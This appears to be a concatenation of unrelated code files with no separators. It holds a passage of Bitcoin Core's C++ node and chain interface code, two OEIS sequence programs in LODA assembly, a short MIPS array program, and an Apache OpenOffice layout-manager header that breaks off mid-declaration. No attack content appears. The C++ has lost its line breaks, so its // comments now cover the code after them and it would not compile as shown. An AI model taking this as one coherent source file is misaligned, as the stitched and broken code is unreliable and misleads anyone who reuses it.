returns // no signers. For the current GUI this doesn't matter, because the wallet // creation dialog disables the external signer checkbox in both // cases. The return type could be changed to std::optional<std::vector> // (or something that also includes error messages) if this distinction // becomes important. return {}; #endif // ENABLE_EXTERNAL_SIGNER } int64_t getTotalBytesRecv() override { return m_context->connman ? m_context->connman->GetTotalBytesRecv() : 0; } int64_t getTotalBytesSent() override { return m_context->connman ? m_context->connman->GetTotalBytesSent() : 0; } size_t getMempoolSize() override { return m_context->mempool ? m_context->mempool->size() : 0; } size_t getMempoolDynamicUsage() override { return m_context->mempool ? m_context->mempool->DynamicMemoryUsage() : 0; } bool getHeaderTip(int& height, int64_t& block_time) override { LOCK(::cs_main); if (::pindexBestHeader) { height = ::pindexBestHeader->nHeight; block_time = ::pindexBestHeader->GetBlockTime(); return true; } return false; } int getNumBlocks() override { LOCK(::cs_main); return chainman().ActiveChain().Height(); } uint256 getBestBlockHash() override { const CBlockIndex* tip = WITH_LOCK(::cs_main, return chainman().ActiveChain().Tip()); return tip ? tip->GetBlockHash() : Params().GenesisBlock().GetHash(); } int64_t getLastBlockTime() override { LOCK(::cs_main); if (chainman().ActiveChain().Tip()) { return chainman().ActiveChain().Tip()->GetBlockTime(); } return Params().GenesisBlock().GetBlockTime(); // Genesis block's time of current network } double getVerificationProgress() override { const CBlockIndex* tip; { LOCK(::cs_main); tip = chainman().ActiveChain().Tip(); } return GuessVerificationProgress(Params().TxData(), tip); } bool isInitialBlockDownload() override { return chainman().ActiveChainstate().IsInitialBlockDownload(); } bool getReindex() override { return node::fReindex; } bool getImporting() override { return node::fImporting; } void setNetworkActive(bool active) override { if (m_context->connman) { m_context->connman->SetNetworkActive(active); } } bool getNetworkActive() override { return m_context->connman && m_context->connman->GetNetworkActive(); } CFeeRate getDustRelayFee() override { return ::dustRelayFee; } UniValue executeRpc(const std::string& command, const UniValue& params, const std::string& uri) override { JSONRPCRequest req; req.context = m_context; req.params = params; req.strMethod = command; req.URI = uri; return ::tableRPC.execute(req); } std::vector<std::string> listRpcCommands() override { return ::tableRPC.listCommands(); } void rpcSetTimerInterfaceIfUnset(RPCTimerInterface* iface) override { RPCSetTimerInterfaceIfUnset(iface); } void rpcUnsetTimerInterface(RPCTimerInterface* iface) override { RPCUnsetTimerInterface(iface); } bool getUnspentOutput(const COutPoint& output, Coin& coin) override { LOCK(::cs_main); return chainman().ActiveChainstate().CoinsTip().GetCoin(output, coin); } TransactionError broadcastTransaction(CTransactionRef tx, CAmount max_tx_fee, std::string& err_string) override { return BroadcastTransaction(*m_context, std::move(tx), err_string, max_tx_fee, /*relay=*/ true, /*wait_callback=*/ false); } WalletLoader& walletLoader() override { return *Assert(m_context->wallet_loader); } std::unique_ptr<Handler> handleInitMessage(InitMessageFn fn) override { return MakeHandler(::uiInterface.InitMessage_connect(fn)); } std::unique_ptr<Handler> handleMessageBox(MessageBoxFn fn) override { return MakeHandler(::uiInterface.ThreadSafeMessageBox_connect(fn)); } std::unique_ptr<Handler> handleQuestion(QuestionFn fn) override { return MakeHandler(::uiInterface.ThreadSafeQuestion_connect(fn)); } std::unique_ptr<Handler> handleShowProgress(ShowProgressFn fn) override { return MakeHandler(::uiInterface.ShowProgress_connect(fn)); } std::unique_ptr<Handler> handleInitWallet(InitWalletFn fn) override { return MakeHandler(::uiInterface.InitWallet_connect(fn)); } std::unique_ptr<Handler> handleNotifyNumConnectionsChanged(NotifyNumConnectionsChangedFn fn) override { return MakeHandler(::uiInterface.NotifyNumConnectionsChanged_connect(fn)); } std::unique_ptr<Handler> handleNotifyNetworkActiveChanged(NotifyNetworkActiveChangedFn fn) override { return MakeHandler(::uiInterface.NotifyNetworkActiveChanged_connect(fn)); } std::unique_ptr<Handler> handleNotifyAlertChanged(NotifyAlertChangedFn fn) override { return MakeHandler(::uiInterface.NotifyAlertChanged_connect(fn)); } std::unique_ptr<Handler> handleBannedListChanged(BannedListChangedFn fn) override { return MakeHandler(::uiInterface.BannedListChanged_connect(fn)); } std::unique_ptr<Handler> handleNotifyBlockTip(NotifyBlockTipFn fn) override { return MakeHandler(::uiInterface.NotifyBlockTip_connect([fn](SynchronizationState sync_state, const CBlockIndex* block) { fn(sync_state, BlockTip{block->nHeight, block->GetBlockTime(), block->GetBlockHash()}, GuessVerificationProgress(Params().TxData(), block)); })); } std::unique_ptr<Handler> handleNotifyHeaderTip(NotifyHeaderTipFn fn) override { return MakeHandler( ::uiInterface.NotifyHeaderTip_connect([fn](SynchronizationState sync_state, const CBlockIndex* block) { fn(sync_state, BlockTip{block->nHeight, block->GetBlockTime(), block->GetBlockHash()}, /* verification progress is unused when a header was received */ 0); })); } NodeContext* context() override { return m_context; } void setContext(NodeContext* context) override { m_context = context; } NodeContext* m_context{nullptr}; }; bool FillBlock(const CBlockIndex* index, const FoundBlock& block, UniqueLock<RecursiveMutex>& lock, const CChain& active) { if (!index) return false; if (block.m_hash) *block.m_hash = index->GetBlockHash(); if (block.m_height) *block.m_height = index->nHeight; if (block.m_time) *block.m_time = index->GetBlockTime(); if (block.m_max_time) *block.m_max_time = index->GetBlockTimeMax(); if (block.m_mtp_time) *block.m_mtp_time = index->GetMedianTimePast(); if (block.m_in_active_chain) *block.m_in_active_chain = active[index->nHeight] == index; if (block.m_next_block) FillBlock(active[index->nHeight] == index ? active[index->nHeight + 1] : nullptr, *block.m_next_block, lock, active); if (block.m_data) { REVERSE_LOCK(lock); if (!ReadBlockFromDisk(*block.m_data, index, Params().GetConsensus())) block.m_data->SetNull(); } block.found = true; return true; } class NotificationsProxy : public CValidationInterface { public: explicit NotificationsProxy(std::shared_ptr<Chain::Notifications> notifications) : m_notifications(std::move(notifications)) {} virtual ~NotificationsProxy() = default; void TransactionAddedToMempool(const CTransactionRef& tx, uint64_t mempool_sequence) override { m_notifications->transactionAddedToMempool(tx, mempool_sequence); } void TransactionRemovedFromMempool(const CTransactionRef& tx, MemPoolRemovalReason reason, uint64_t mempool_sequence) override { m_notifications->transactionRemovedFromMempool(tx, reason, mempool_sequence); } void BlockConnected(const std::shared_ptr<const CBlock>& block, const CBlockIndex* index) override { m_notifications->blockConnected(*block, index->nHeight); } void BlockDisconnected(const std::shared_ptr<const CBlock>& block, const CBlockIndex* index) override { m_notifications->blockDisconnected(*block, index->nHeight); } void UpdatedBlockTip(const CBlockIndex* index, const CBlockIndex* fork_index, bool is_ibd) override { m_notifications->updatedBlockTip(); } void ChainStateFlushed(const CBlockLocator& locator) override { m_notifications->chainStateFlushed(locator); } std::shared_ptr<Chain::Notifications> m_notifications; }; class NotificationsHandlerImpl : public Handler { public: explicit NotificationsHandlerImpl(std::shared_ptr<Chain::Notifications> notifications) : m_proxy(std::make_shared<NotificationsProxy>(std::move(notifications))) { RegisterSharedValidationInterface(m_proxy); } ~NotificationsHandlerImpl() override { disconnect(); } void disconnect() override { if (m_proxy) { UnregisterSharedValidationInterface(m_proxy); m_proxy.reset(); } } std::shared_ptr<NotificationsProxy> m_proxy; }; class RpcHandlerImpl : public Handler { public: explicit RpcHandlerImpl(const CRPCCommand& command) : m_command(command), m_wrapped_command(&command) { m_command.actor = [this](const JSONRPCRequest& request, UniValue& result, bool last_handler) { if (!m_wrapped_command) return false; try { return m_wrapped_command->actor(request, result, last_handler); } catch (const UniValue& e) { // If this is not the last handler and a wallet not found // exception was thrown, return false so the next handler can // try to handle the request. Otherwise, reraise the exception. if (!last_handler) { const UniValue& code = e["code"]; if (code.isNum() && code.get_int() == RPC_WALLET_NOT_FOUND) { return false; } } throw; } }; ::tableRPC.appendCommand(m_command.name, &m_command); } void disconnect() final { if (m_wrapped_command) { m_wrapped_command = nullptr; ::tableRPC.removeCommand(m_command.name, &m_command); } } ~RpcHandlerImpl() override { disconnect(); } CRPCCommand m_command; const CRPCCommand* m_wrapped_command; }; class ChainImpl : public Chain { private: ChainstateManager& chainman() { return *Assert(m_node.chainman); } public: explicit ChainImpl(NodeContext& node) : m_node(node) {} std::optional<int> getHeight() override { LOCK(::cs_main); const CChain& active = Assert(m_node.chainman)->ActiveChain(); int height = active.Height(); if (height >= 0) { return height; } return std::nullopt; } uint256 getBlockHash(int height) override { LOCK(::cs_main); const CChain& active = Assert(m_node.chainman)->ActiveChain(); CBlockIndex* block = active[height]; assert(block); return block->GetBlockHash(); } bool haveBlockOnDisk(int height) override { LOCK(cs_main); const CChain& active = Assert(m_node.chainman)->ActiveChain(); CBlockIndex* block = active[height]; return block && ((block->nStatus & BLOCK_HAVE_DATA) != 0) && block->nTx > 0; } CBlockLocator getTipLocator() override { LOCK(cs_main); const CChain& active = Assert(m_node.chainman)->ActiveChain(); return active.GetLocator(); } std::optional<int> findLocatorFork(const CBlockLocator& locator) override { LOCK(cs_main); const CChainState& active = Assert(m_node.chainman)->ActiveChainstate(); if (CBlockIndex* fork = active.FindForkInGlobalIndex(locator)) { return fork->nHeight; } return std::nullopt; } bool findBlock(const uint256& hash, const FoundBlock& block) override { WAIT_LOCK(cs_main, lock); const CChain& active = Assert(m_node.chainman)->ActiveChain(); return FillBlock(m_node.chainman->m_blockman.LookupBlockIndex(hash), block, lock, active); } bool findFirstBlockWithTimeAndHeight(int64_t min_time, int min_height, const FoundBlock& block) override { WAIT_LOCK(cs_main, lock); const CChain& active = Assert(m_node.chainman)->ActiveChain(); return FillBlock(active.FindEarliestAtLeast(min_time, min_height), block, lock, active); } bool findAncestorByHeight(const uint256& block_hash, int ancestor_height, const FoundBlock& ancestor_out) override { WAIT_LOCK(cs_main, lock); const CChain& active = Assert(m_node.chainman)->ActiveChain(); if (const CBlockIndex* block = m_node.chainman->m_blockman.LookupBlockIndex(block_hash)) { if (const CBlockIndex* ancestor = block->GetAncestor(ancestor_height)) { return FillBlock(ancestor, ancestor_out, lock, active); } } return FillBlock(nullptr, ancestor_out, lock, active); } bool findAncestorByHash(const uint256& block_hash, const uint256& ancestor_hash, const FoundBlock& ancestor_out) override { WAIT_LOCK(cs_main, lock); const CChain& active = Assert(m_node.chainman)->ActiveChain(); const CBlockIndex* block = m_node.chainman->m_blockman.LookupBlockIndex(block_hash); const CBlockIndex* ancestor = m_node.chainman->m_blockman.LookupBlockIndex(ancestor_hash); if (block && ancestor && block->GetAncestor(ancestor->nHeight) != ancestor) ancestor = nullptr; return FillBlock(ancestor, ancestor_out, lock, active); } bool findCommonAncestor(const uint256& block_hash1, const uint256& block_hash2, const FoundBlock& ancestor_out, const FoundBlock& block1_out, const FoundBlock& block2_out) override { WAIT_LOCK(cs_main, lock); const CChain& active = Assert(m_node.chainman)->ActiveChain(); const CBlockIndex* block1 = m_node.chainman->m_blockman.LookupBlockIndex(block_hash1); const CBlockIndex* block2 = m_node.chainman->m_blockman.LookupBlockIndex(block_hash2); const CBlockIndex* ancestor = block1 && block2 ? LastCommonAncestor(block1, block2) : nullptr; // Using & instead of && below to avoid short circuiting and leaving // output uninitialized. Cast bool to int to avoid -Wbitwise-instead-of-logical // compiler warnings. return int{FillBlock(ancestor, ancestor_out, lock, active)} & int{FillBlock(block1, block1_out, lock, active)} & int{FillBlock(block2, block2_out, lock, active)}; } void findCoins(std::map<COutPoint, Coin>& coins) override { return FindCoins(m_node, coins); } double guessVerificationProgress(const uint256& block_hash) override { LOCK(cs_main); return GuessVerificationProgress(Params().TxData(), chainman().m_blockman.LookupBlockIndex(block_hash)); } bool hasBlocks(const uint256& block_hash, int min_height, std::optional<int> max_height) override { // hasBlocks returns true if all ancestors of block_hash in specified // range have block data (are not pruned), false if any ancestors in // specified range are missing data. // // For simplicity and robustness, min_height and max_height are only // used to limit the range, and passing min_height that's too low or // max_height that's too high will not crash or change the result. LOCK(::cs_main); if (CBlockIndex* block = chainman().m_blockman.LookupBlockIndex(block_hash)) { if (max_height && block->nHeight >= *max_height) block = block->GetAncestor(*max_height); for (; block->nStatus & BLOCK_HAVE_DATA; block = block->pprev) { // Check pprev to not segfault if min_height is too low if (block->nHeight <= min_height || !block->pprev) return true; } } return false; } RBFTransactionState isRBFOptIn(const CTransaction& tx) override { if (!m_node.mempool) return IsRBFOptInEmptyMempool(tx); LOCK(m_node.mempool->cs); return IsRBFOptIn(tx, *m_node.mempool); } bool isInMempool(const uint256& txid) override { if (!m_node.mempool) return false; LOCK(m_node.mempool->cs); return m_node.mempool->exists(GenTxid::Txid(txid)); } bool hasDescendantsInMempool(const uint256& txid) override { if (!m_node.mempool) return false; LOCK(m_node.mempool->cs); auto it = m_node.mempool->GetIter(txid); return it && (*it)->GetCountWithDescendants() > 1; } bool broadcastTransaction(const CTransactionRef& tx, const CAmount& max_tx_fee, bool relay, std::string& err_string) override { const TransactionError err = BroadcastTransaction(m_node, tx, err_string, max_tx_fee, relay, /*wait_callback*/ false); // Chain clients only care about failures to accept the tx to the mempool. Disregard non-mempool related failures. // Note: this will need to be updated if BroadcastTransactions() is updated to return other non-mempool failures // that Chain clients do not need to know about. return TransactionError::OK == err; } void getTransactionAncestry(const uint256& txid, size_t& ancestors, size_t& descendants, size_t* ancestorsize, CAmount* ancestorfees) override { ancestors = descendants = 0; if (!m_node.mempool) return; m_node.mempool->GetTransactionAncestry(txid, ancestors, descendants, ancestorsize, ancestorfees); } void getPackageLimits(unsigned int& limit_ancestor_count, unsigned int& limit_descendant_count) override { limit_ancestor_count = gArgs.GetIntArg("-limitancestorcount", DEFAULT_ANCESTOR_LIMIT); limit_descendant_count = gArgs.GetIntArg("-limitdescendantcount", DEFAULT_DESCENDANT_LIMIT); } bool checkChainLimits(const CTransactionRef& tx) override { if (!m_node.mempool) return true; LockPoints lp; CTxMemPoolEntry entry(tx, 0, 0, 0, false, 0, lp); CTxMemPool::setEntries ancestors; auto limit_ancestor_count = gArgs.GetIntArg("-limitancestorcount", DEFAULT_ANCESTOR_LIMIT); auto limit_ancestor_size = gArgs.GetIntArg("-limitancestorsize", DEFAULT_ANCESTOR_SIZE_LIMIT) * 1000; auto limit_descendant_count = gArgs.GetIntArg("-limitdescendantcount", DEFAULT_DESCENDANT_LIMIT); auto limit_descendant_size = gArgs.GetIntArg("-limitdescendantsize", DEFAULT_DESCENDANT_SIZE_LIMIT) * 1000; std::string unused_error_string; LOCK(m_node.mempool->cs); return m_node.mempool->CalculateMemPoolAncestors( entry, ancestors, limit_ancestor_count, limit_ancestor_size, limit_descendant_count, limit_descendant_size, unused_error_string); } CFeeRate estimateSmartFee(int num_blocks, bool conservative, FeeCalculation* calc) override { if (!m_node.fee_estimator) return {}; return m_node.fee_estimator->estimateSmartFee(num_blocks, calc, conservative); } unsigned int estimateMaxBlocks() override { if (!m_node.fee_estimator) return 0; return m_node.fee_estimator->HighestTargetTracked(FeeEstimateHorizon::LONG_HALFLIFE); } CFeeRate mempoolMinFee() override { if (!m_node.mempool) return {}; return m_node.mempool->GetMinFee(gArgs.GetIntArg("-maxmempool", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000); } CFeeRate relayMinFee() override { return ::minRelayTxFee; } CFeeRate relayIncrementalFee() override { return ::incrementalRelayFee; } CFeeRate relayDustFee() override { return ::dustRelayFee; } bool havePruned() override { LOCK(cs_main); return node::fHavePruned; } bool isReadyToBroadcast() override { return !node::fImporting && !node::fReindex && !isInitialBlockDownload(); } bool isInitialBlockDownload() override { return chainman().ActiveChainstate().IsInitialBlockDownload(); } bool shutdownRequested() override { return ShutdownRequested(); } void initMessage(const std::string& message) override { ::uiInterface.InitMessage(message); } void initWarning(const bilingual_str& message) override { InitWarning(message); } void initError(const bilingual_str& message) override { InitError(message); } void showProgress(const std::string& title, int progress, bool resume_possible) override { ::uiInterface.ShowProgress(title, progress, resume_possible); } std::unique_ptr<Handler> handleNotifications(std::shared_ptr<Notifications> notifications) override { return std::make_unique<NotificationsHandlerImpl>(std::move(notifications)); } void waitForNotificationsIfTipChanged(const uint256& old_tip) override { if (!old_tip.IsNull()) { LOCK(::cs_main); const CChain& active = Assert(m_node.chainman)->ActiveChain(); if (old_tip == active.Tip()->GetBlockHash()) return; } SyncWithValidationInterfaceQueue(); } std::unique_ptr<Handler> handleRpc(const CRPCCommand& command) override { return std::make_unique<RpcHandlerImpl>(command); } bool rpcEnableDeprecated(const std::string& method) override { return IsDeprecatedRPCEnabled(method); } void rpcRunLater(const std::string& name, std::function<void()> fn, int64_t seconds) override { RPCRunLater(name, std::move(fn), seconds); } int rpcSerializationFlags() override { return RPCSerializationFlags(); } util::SettingsValue getSetting(const std::string& name) override { return gArgs.GetSetting(name); } std::vector<util::SettingsValue> getSettingsList(const std::string& name) override { return gArgs.GetSettingsList(name); } util::SettingsValue getRwSetting(const std::string& name) override { util::SettingsValue result; gArgs.LockSettings([&](const util::Settings& settings) { if (const util::SettingsValue* value = util::FindKey(settings.rw_settings, name)) { result = *value; } }); return result; } bool updateRwSetting(const std::string& name, const util::SettingsValue& value, bool write) override { gArgs.LockSettings([&](util::Settings& settings) { if (value.isNull()) { settings.rw_settings.erase(name); } else { settings.rw_settings[name] = value; } }); return !write || gArgs.WriteSettingsFile(); } void requestMempoolTransactions(Notifications& notifications) override { if (!m_node.mempool) return; LOCK2(::cs_main, m_node.mempool->cs); for (const CTxMemPoolEntry& entry : m_node.mempool->mapTx) { notifications.transactionAddedToMempool(entry.GetSharedTx(), 0 /* mempool_sequence */); } } NodeContext& m_node; }; } // namespace } // namespace node namespace interfaces { std::unique_ptr<Node> MakeNode(node::NodeContext& context) { return std::make_unique<node::NodeImpl>(context); } std::unique_ptr<Chain> MakeChain(node::NodeContext& context) { return std::make_unique<node::ChainImpl>(context); } } // namespace interfaces
; A124195: a(1)=1. a(n) = n - GCD(a(n-1),n). ; 1,1,2,2,4,4,6,6,6,8,10,10,12,12,12,12,16,16,18,18,18,20,22,22,24,24,24,24,28,28,30,30,30,32,34,34,36,36,36,36,40,40,42,42,42,44,46,46,48,48,48,48,52,52,54,54,54,56,58,58,60,60,60,60,60,60,66,66,66,68,70,70,72 mov $1,$0 seq $1,99427 ; a(1) = 1; for n > 1, a(n) = 1 + greatest common divisor of n and a(n-1). add $1,4 sub $0,$1 add $0,6
; A133186: Period 4: repeat [1, 2, 1, -4]. ; 1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4,1,2,1,-4 add $0,1 gcd $0,4 lpb $0,1 sub $0,6 lpe mul $0,2 bin $0,3 mov $1,$0 div $1,4 add $1,1
.data sizeofarray: .word 3 array: .word 2, 4, 6, 8 .text .globl main main: la $s0, sizeofarray lw $s1, 0($s0) #$s1 = sizeofarray ori $s2, $0, 0 #$s2 = i la $s3, array #$s3 = &array loopFor: beq $s1, $s2, funcExit #if(i = sizeofarray) call funcExit lw $s4, 0($s3) #$s4 = array[i] lw $s5, 4($s3) #$s5 = array[i+1] sub $t5, $s5, $s4 #$t5 = diff blez $t5, negFunc #if(diff <= 0) call negFunc bgtz $t5, posFunc #if(diff > 0) call posFunc j update #call function for i++ negFunc: bgtz $t5, update #call function for i++ sll $t2, $s4, 2 #multiply by 4 sll $t3, $s4, 0 #multiply by 1 add $t3, $t2, $t3 #add mult. by 1 and mult. by 4 sub $t4, $0, $t3 #negative of result sw $t4, 4($s3) #array[i+1] = result(*-5) j update posFunc: bltz $t5, update #call function for i++ sll $t2, $s4, 2 #multiply by 4 sll $t3, $s4, 0 #multiply by 1 add $t4, $t2, $t3 #add mult. by 1 and mult. by 4 sw $t4, 0($s3) #array[i] = result (*5) j update update: addi $s2, $s2, 1 #i++ addi $s3, $s3, 4 #move array pointer j loopFor funcExit: jr $ra
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #ifndef __FRAMEWORK_SERVICES_LAYOUTMANAGER_HXX_ #define __FRAMEWORK_SERVICES_LAYOUTMANAGER_HXX_ /** Attention: stl headers must(!) be included at first. Otherwhise it can make trouble with solaris headers ... */ #include <vector> //_________________________________________________________________________________________________________________ // my own includes //_________________________________________________________________________________________________________________ #include <threadhelp/threadhelpbase.hxx> #include <threadhelp/resetableguard.hxx> #include <threadhelp/writeguard.hxx> #include <threadhelp/readguard.hxx> #include <macros/generic.hxx> #include <macros/xinterface.hxx> #include <macros/xtypeprovider.hxx> #include <macros/xserviceinfo.hxx> #include <stdtypes.h> #include <properties.h> #include <stdtypes.h> #include <uielement/menubarmanager.hxx> #include <uiconfiguration/windowstateconfiguration.hxx> #include <framework/addonsoptions.hxx> #include <uielement/panelwindow.hxx> #include <uielement/uielement.hxx> #include <helper/ilayoutnotifications.hxx> //_________________________________________________________________________________________________________________ // interface includes //_________________________________________________________________________________________________________________ #include <com/sun/star/lang/XServiceInfo.hpp> #include <com/sun/star/lang/XTypeProvider.hpp> #include <com/sun/star/frame/XLayoutManager.hpp> #include <com/sun/star/ui/XUIConfigurationManager.hpp> #include <com/sun/star/ui/XUIConfiguration.hpp> #include <com/sun/star/frame/XModuleManager.hpp> #include <com/sun/star/frame/XFrameActionListener.hpp> #include <com/sun/star/awt/XWindowListener.hpp> #include <com/sun/star/util/XURLTransformer.hpp> #include <com/sun/star/ui/XUIElementFactory.hpp> #include <com/sun/star/frame/XInplaceLayout.hpp> #include <com/sun/star/ui/DockingArea.hpp> #include <com/sun/star/awt/XTopWindow2.hpp> #include <com/sun/star/awt/XDockableWindow.hpp> #include <com/sun/star/awt/XDockableWindowListener.hpp> #include <com/sun/star/frame/XMenuBarMergingAcceptor.hpp> #include <com/sun/star/frame/XLayoutManagerEventBroadcaster.hpp> //_________________________________________________________________________________________________________________ // other includes //_________________________________________________________________________________________________________________ #include <cppuhelper/propshlp.hxx> #include <cppuhelper/implbase8.hxx> #include <cppuhelper/interfacecontainer.hxx> #include <comphelper/propertycontainer.hxx> #include <tools/wintypes.hxx> #include <svtools/miscopt.hxx> #include <vcl/toolbox.hxx> #include <vcl/timer.hxx> class MenuBar; namespace framework { class ToolbarLayoutManager; class PanelManager; class GlobalSettings; typedef ::cppu::WeakImplHelper8 < ::com::sun::star::lang::XServiceInfo , ::com::sun::star::frame::XLayoutManager , ::com::sun::star::awt::XWindowListener , ::com::sun::star::frame::XFrameActionListener , ::com::sun::star::ui::XUIConfigurationListener , ::com::sun::star::frame::XInplaceLayout , ::com::sun::star::frame::XMenuBarMergingAcceptor , ::com::sun::star::frame::XLayoutManagerEventBroadcaster > LayoutManager_Base; typedef ::comphelper::OPropertyContainer LayoutManager_PBase; class LayoutManager : public LayoutManager_Base , // base classes // Order is necessary for right initialization! private ThreadHelpBase , // Struct for right initialization of mutex member! Must be first of baseclasses. public ::cppu::OBroadcastHelper , public ILayoutNotifications , public LayoutManager_PBase { public: enum { DOCKINGAREAS_COUNT = 4 }; LayoutManager( const com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory >& rSMGR ); virtual ~LayoutManager(); /** declaration of XInterface, XTypeProvider, XServiceInfo */ FWK_DECLARE_XINTERFACE FWK_DECLARE_XTYPEPROVIDER DECLARE_XSERVICEINFO //--------------------------------------------------------------------------------------------------------- // XLayoutManager //--------------------------------------------------------------------------------------------------------- virtual void SAL_CALL attachFrame( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XFrame >& Frame ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL reset() throw (::com::sun::star::uno::RuntimeException); virtual ::com::sun::star::awt::Rectangle SAL_CALL getCurrentDockingArea( ) throw (::com::sun::star::uno::RuntimeException); virtual ::com::sun::star::uno::Reference< ::com::sun::star::ui::XDockingAreaAcceptor > SAL_CALL getDockingAreaAcceptor() throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL setDockingAreaAcceptor( const ::com::sun::star::uno::Reference< ::com::sun::star::ui::XDockingAreaAcceptor >& xDockingAreaAcceptor ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL createElement( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL destroyElement( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual ::sal_Bool SAL_CALL requestElement( const ::rtl::OUString& ResourceURL ) throw (::com::sun::star::uno::RuntimeException); virtual ::com::sun::star::uno::Reference< ::com::sun::star::ui::XUIElement > SAL_CALL getElement( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual ::com::sun::star::uno::Sequence< ::com::sun::star::uno::Reference< ::com::sun::star::ui::XUIElement > > SAL_CALL getElements( ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL showElement( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL hideElement( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL dockWindow( const ::rtl::OUString& aName, ::com::sun::star::ui::DockingArea DockingArea, const ::com::sun::star::awt::Point& Pos ) throw (::com::sun::star::uno::RuntimeException); virtual ::sal_Bool SAL_CALL dockAllWindows( ::sal_Int16 nElementType ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL floatWindow( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual ::sal_Bool SAL_CALL lockWindow( const ::rtl::OUString& ResourceURL ) throw (::com::sun::star::uno::RuntimeException); virtual ::sal_Bool SAL_CALL unlockWindow( const ::rtl::OUString& ResourceURL ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL setElementSize( const ::rtl::OUString& aName, const ::com::sun::star::awt::Size& aSize ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL setElementPos( const ::rtl::OUString& aName, const ::com::sun::star::awt::Point& aPos ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL setElementPosSize( const ::rtl::OUString& aName, const ::com::sun::star::awt::Point& aPos, const ::com::sun::star::awt::Size& aSize ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL isElementVisible( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL isElementFloating( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL isElementDocked( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual ::sal_Bool SAL_CALL isElementLocked( const ::rtl::OUString& ResourceURL ) throw (::com::sun::star::uno::RuntimeException); virtual ::com::sun::star::awt::Size SAL_CALL getElementSize( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual ::com::sun::star::awt::Point SAL_CALL getElementPos( const ::rtl::OUString& aName ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL lock( ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL unlock( ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL doLayout( ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL setVisible( sal_Bool bVisible ) throw (::com::sun::star::uno::RuntimeException); virtual sal_Bool SAL_CALL isVisible() throw (::com::sun::star::uno::RuntimeException); //--------------------------------------------------------------------------------------------------------- // XInplaceLayout //--------------------------------------------------------------------------------------------------------- virtual void SAL_CALL setInplaceMenuBar( sal_Int64 pInplaceMenuBarPointer ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL resetInplaceMenuBar( ) throw (::com::sun::star::uno::RuntimeException); //--------------------------------------------------------------------------------------------------------- // XMenuBarMergingAcceptor //--------------------------------------------------------------------------------------------------------- virtual sal_Bool SAL_CALL setMergedMenuBar( const ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexAccess >& xMergedMenuBar ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL removeMergedMenuBar( ) throw (::com::sun::star::uno::RuntimeException); //--------------------------------------------------------------------------------------------------------- // XWindowListener //--------------------------------------------------------------------------------------------------------- virtual void SAL_CALL windowResized( const css::awt::WindowEvent& aEvent ) throw( css::uno::RuntimeException ); virtual void SAL_CALL windowMoved( const css::awt::WindowEvent& aEvent ) throw( css::uno::RuntimeException ); virtual void SAL_CALL windowShown( const css::lang::EventObject& aEvent ) throw( css::uno::RuntimeException ); virtual void SAL_CALL windowHidden( const css::lang::EventObject& aEvent ) throw( css::uno::RuntimeException ); //--------------------------------------------------------------------------------------------------------- // XFrameActionListener //--------------------------------------------------------------------------------------------------------- virtual void SAL_CALL frameAction( const css::frame::FrameActionEvent& aEvent ) throw ( css::uno::RuntimeException ); //--------------------------------------------------------------------------------------------------------- // XEventListener //--------------------------------------------------------------------------------------------------------- using cppu::OPropertySetHelper::disposing; virtual void SAL_CALL disposing( const css::lang::EventObject& aEvent ) throw( css::uno::RuntimeException ); //--------------------------------------------------------------------------------------------------------- // XUIConfigurationListener //--------------------------------------------------------------------------------------------------------- virtual void SAL_CALL elementInserted( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL elementRemoved( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL elementReplaced( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException); //--------------------------------------------------------------------------------------------------------- // XLayoutManagerEventBroadcaster 